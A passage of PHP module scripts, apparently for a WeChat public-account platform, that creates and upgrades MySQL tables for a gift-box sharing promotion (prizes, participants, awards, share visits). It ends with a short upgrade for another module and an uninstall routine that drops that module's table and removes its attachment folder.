varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword2color` varchar(7) DEFAULT '' COMMENT '参数2文字色',\r\n `keyword3` varchar(100) DEFAULT '' COMMENT '参数3',\r\n `keyword3code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword3color` varchar(7) DEFAULT '' COMMENT '参数3文字色',\r\n `keyword4` varchar(100) DEFAULT '' COMMENT '参数4',\r\n `keyword4code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword4color` varchar(7) DEFAULT '' COMMENT '参数4文字色',\r\n `keyword5` varchar(100) DEFAULT '' COMMENT '参数5',\r\n `keyword5code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword5color` varchar(7) DEFAULT '' COMMENT '参数5文字色',\r\n `keyword6` varchar(100) DEFAULT '' COMMENT '参数6',\r\n `keyword6code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword6color` varchar(7) DEFAULT '' COMMENT '参数6文字色',\r\n `keyword7` varchar(100) DEFAULT '' COMMENT '参数7',\r\n `keyword7code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword7color` varchar(7) DEFAULT '' COMMENT '参数7文字色',\r\n `keyword8` varchar(100) DEFAULT '' COMMENT '参数8',\r\n `keyword8code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword8color` varchar(7) DEFAULT '' COMMENT '参数8文字色',\r\n `keyword9` varchar(100) DEFAULT '' COMMENT '参数9',\r\n `keyword9code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword9color` varchar(7) DEFAULT '' COMMENT '参数9文字色',\r\n `keyword10` varchar(100) DEFAULT '' COMMENT '参数10',\r\n `keyword10code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword10color` varchar(7) DEFAULT '' COMMENT '参数10文字色',\r\n `remark` varchar(100) DEFAULT '' COMMENT '备注',\r\n `remarkcolor` varchar(7) DEFAULT '' COMMENT '备注文字色',\r\n PRIMARY KEY (`id`), \r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_share` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `acid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '子公众号ID',\r\n `help_url` varchar(255) DEFAULT '' COMMENT '帮助关注引导页',\r\n `share_url` varchar(255) DEFAULT '' COMMENT '参与关注引导页',\r\n `share_open_close` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否开启作用', \r\n `share_title` varchar(50) DEFAULT '' COMMENT '分享标题',\r\n `share_desc` varchar(100) DEFAULT '' COMMENT '分享简介',\r\n `share_txt` text NOT NULL COMMENT '参与活动规则',\r\n `share_img` varchar(255) NOT NULL COMMENT '分享朋友或朋友圈图',\r\n `share_anniu` varchar(255) NOT NULL COMMENT '分享朋友或朋友圈按钮或文字',\r\n `share_firend` varchar(255) NOT NULL COMMENT '助力按钮',\r\n `share_pic` varchar(255) NOT NULL COMMENT '分享弹出图片', \r\n `share_confirm` varchar(200) DEFAULT '' COMMENT '分享成功提示语',\r\n `share_confirmurl` varchar(255) DEFAULT '' COMMENT '分享成功跳转URL',\r\n `share_fail` varchar(200) DEFAULT '' COMMENT '分享失败提示语',\r\n `share_cancel` varchar(200) DEFAULT '' COMMENT '分享中途取消提示语',\r\n `sharetimes` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '1为每天次数2为总次数',\r\n `sharetype` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '分享赠送类型0分享立即赠送1分享成功赠送',\r\n `sharenumtype` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '分享赠送机会类型0单独赠送机会1每人赠送机会2分享共计赠送',\r\n `sharenum` int(11) DEFAULT '0' COMMENT '分享赠送礼盒基数',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_acid` (`acid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_prize` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `liheid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '礼盒样式ID',\r\n `prizetype` varchar(20) NOT NULL COMMENT '奖品类型真实虚拟积分等',\r\n `prizevalue` int(10) NOT NULL COMMENT '积分或实物以及虚拟价值', \r\n `prizerating` varchar(50) NOT NULL COMMENT '奖品等级',\r\n `prizename` varchar(50) NOT NULL COMMENT '奖品名称',\r\n `prizepic` varchar(255) NOT NULL COMMENT '奖品图片',\r\n `prizetotal` int(10) NOT NULL COMMENT '奖品数量',\r\n `prizedraw` int(10) NOT NULL COMMENT '中奖数量',\r\n `prizeren` int(10) NOT NULL COMMENT '每人最多中奖',\r\n `prizeday` int(10) NOT NULL COMMENT '每天最多发奖',\r\n `probalilty` varchar(5) NOT NULL COMMENT '中奖概率%',\r\n `description` varchar(500) NOT NULL DEFAULT '' COMMENT '描述',\r\n `break` int(3) unsigned NOT NULL DEFAULT '0' COMMENT '需要帮助人数', \r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE = MYISAM DEFAULT CHARSET = utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_prizemika` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `prizeid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '奖品ID', \r\n `from_user` varchar(50) NOT NULL DEFAULT '' COMMENT '用户openid', \r\n `mikacodesn` varchar(100) NOT NULL COMMENT '密卡字符串',\r\n `virtual_value` int(10) NOT NULL COMMENT '积分或实物以及虚拟价值',\r\n `actionurl` varchar(200) NOT NULL COMMENT '激活地址',\r\n `description` varchar(500) NOT NULL DEFAULT '' COMMENT '描述',\r\n `status` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否领取1为领取过',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE = MYISAM DEFAULT CHARSET = utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_fans` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `from_user` varchar(50) NOT NULL DEFAULT '' COMMENT '用户openid',\r\n `avatar` varchar(512) NOT NULL DEFAULT '' COMMENT '微信头像', \r\n `nickname` varchar(50) NOT NULL DEFAULT '' COMMENT '微信昵称',\r\n `realname` varchar(20) NOT NULL DEFAULT '' COMMENT '真实姓名',\r\n `mobile` varchar(20) NOT NULL DEFAULT '' COMMENT '联系电话', \r\n `qq` varchar(15) NOT NULL DEFAULT '' COMMENT '联系QQ号码',\r\n `email` varchar(50) NOT NULL DEFAULT '' COMMENT '联系邮箱',\r\n `address` varchar(255) NOT NULL DEFAULT '' COMMENT '联系地址',\r\n `gender` tinyint(1) NOT NULL DEFAULT '0' COMMENT '性别',\r\n `telephone` varchar(15) NOT NULL DEFAULT '' COMMENT '固定电话',\r\n `idcard` varchar(30) NOT NULL DEFAULT '' COMMENT '证件号码',\r\n `company` varchar(50) NOT NULL DEFAULT '' COMMENT '公司名称',\r\n `occupation` varchar(30) NOT NULL DEFAULT '' COMMENT '职业',\r\n `position` varchar(30) NOT NULL DEFAULT '' COMMENT '职位',\r\n `sharenum` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '分享量',\r\n `share_num` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '分享量',\r\n `sharetime` int unsigned NOT NULL COMMENT '最后分享时间',\r\n `createtime` int unsigned NOT NULL COMMENT '注册时间',\r\n `lasttime` int unsigned NOT NULL COMMENT '最后参与时间',\r\n `tickettype` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '兑奖类型1为前端后台2为店员3为商家网点',\r\n `ticketid` int(11) DEFAULT '0' COMMENT '店员或商家网点ID',\r\n `ticketname` varchar(50) DEFAULT '' COMMENT '店员或商家网点名称',\r\n `zhongjiang` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否中奖',\r\n `xuni` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否虚拟中奖',\r\n `todaynum` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '今日参与次数',\r\n `totalnum` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '总参与次数',\r\n `tosharenum` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '分享使用次数',\r\n `awardnum` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '获奖次数',\r\n `status` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '是否禁止',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE = MYISAM DEFAULT CHARSET = utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_fansaward` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `from_user` varchar(50) DEFAULT '0' COMMENT '用户openid',\r\n `prizeid` int(11) DEFAULT '0' COMMENT '奖品ID',\r\n `liheid` int(11) DEFAULT '0' COMMENT '礼盒样式ID',\r\n `codesn` varchar(20) DEFAULT '0' COMMENT '中奖唯一码',\r\n `createtime` int(10) DEFAULT '0' COMMENT '领取时间', \r\n `consumetime` int(10) DEFAULT '0' COMMENT '使用时间',\r\n `sharenum` int(10) DEFAULT '0' COMMENT '拆开人数',\r\n `openstatus` tinyint(1) DEFAULT '0' COMMENT '是否拆开',\r\n `zhongjiangtime` int(10) DEFAULT '0' COMMENT '中奖时间',\r\n `zhongjiang` tinyint(1) DEFAULT '0' COMMENT '是否中奖0未中奖1中奖2兑奖',\r\n `xuni` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否虚拟中奖',\r\n `tickettype` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '兑奖类型1为前端后台2为店员3为商家网点',\r\n `ticketid` int(11) DEFAULT '0' COMMENT '店员或商家网点ID',\r\n `ticketname` varchar(50) DEFAULT '' COMMENT '店员或商家网点名称',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_prizeid` (`prizeid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_fanstmplmsg` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `from_user` varchar(50) DEFAULT '0' COMMENT '用户openid',\r\n `tmplmsgid` int(11) DEFAULT '0' COMMENT '消息模板ID',\r\n `tmplmsg` text NOT NULL COMMENT '发送内容',\r\n `createtime` int(10) DEFAULT '0' COMMENT '发送时间',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_prizeid` (`tmplmsgid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_sharedata` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `fid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '礼盒记录ID',\r\n `from_user` varchar(50) NOT NULL DEFAULT '' COMMENT '分享人openid',\r\n `fromuser` varchar(50) NOT NULL DEFAULT '' COMMENT '访问人openid',\r\n `avatar` varchar(512) NOT NULL DEFAULT '' COMMENT '微信头像',\r\n `nickname` varchar(50) NOT NULL DEFAULT '' COMMENT '微信昵称', \r\n `visitorsip` varchar(15) NOT NULL DEFAULT '' COMMENT '访问IP',\r\n `visitorstime` int unsigned NOT NULL COMMENT '访问时间',\r\n `viewnum` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '查看次数',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE = MYISAM DEFAULT CHARSET = utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_lihestyle` (\r\n `liheid` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `title` varchar(20) DEFAULT '' COMMENT '样式名称',\r\n `thumb1` varchar(255) DEFAULT '' COMMENT '礼盒展示图',\r\n `thumb2` varchar(255) DEFAULT '' COMMENT '礼盒拆开图',\r\n `thumb3` varchar(255) DEFAULT '' COMMENT '礼盒显示图',\r\n `shangjialogo` varchar(255) DEFAULT '' COMMENT '商家LOGO',\r\n `music` varchar(2) DEFAULT '' COMMENT '礼盒声音',\r\n PRIMARY KEY (`liheid`), \r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n ";
$sql_fanstmplmsg = "CREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_fanstmplmsg` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `from_user` varchar(50) DEFAULT '0' COMMENT '用户openid',\r\n `tmplmsgid` int(11) DEFAULT '0' COMMENT '消息模板ID',\r\n `tmplmsg` text NOT NULL COMMENT '发送内容',\r\n `createtime` int(10) DEFAULT '0' COMMENT '发送时间',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_prizeid` (`tmplmsgid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
if (!pdo_fieldexists('stonefish_chailihe_reply', 'power')) {
pdo_run($sql);
pdo_run($sqlnews);
}
if (!pdo_fieldexists('stonefish_chailihe_reply', 'slidevertical')) {
pdo_query("ALTER TABLE " . tablename('stonefish_chailihe_reply') . " ADD `slidevertical` tinyint(1) unsigned NOT NULL DEFAULT '2' COMMENT '多个礼盒切换效果2左右1上下' AFTER `templateid`;");
}
if (!pdo_fieldexists('stonefish_chailihe_reply', 'tips')) {
pdo_query("ALTER TABLE " . tablename('stonefish_chailihe_reply') . " ADD `tips` varchar(300) DEFAULT '' COMMENT '活动次数提示' AFTER `slidevertical`;");
}
if (!pdo_fieldexists('stonefish_chailihe_exchange', 'isexchange')) {
pdo_query("ALTER TABLE " . tablename('stonefish_chailihe_exchange') . " ADD `isexchange` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '0领取礼盒时输入1中奖后输入' AFTER `baidumaplat`;");
pdo_run($sql_fanstmplmsg);
}
<?php
if (!pdo_fieldexists('mbrp_activities', 'banner')) {
pdo_run("ALTER TABLE `ims_mbrp_activities` ADD `banner` VARCHAR(500) NOT NULL DEFAULT '';");
}
<?php
// 删除数据表
$uninstallSql = <<<uninstallSql
\tDROP TABLE IF EXISTS `{$_W['config']['db']['tablepre']}qiyue_qiuqian`;
uninstallSql;
$row = pdo_run($uninstallSql);
//删除附件
load()->func('file');
$path = IA_ROOT . '/attachment/images/' . $_W['uniacid'] . '/qiuqian/';
rmdirs($path);
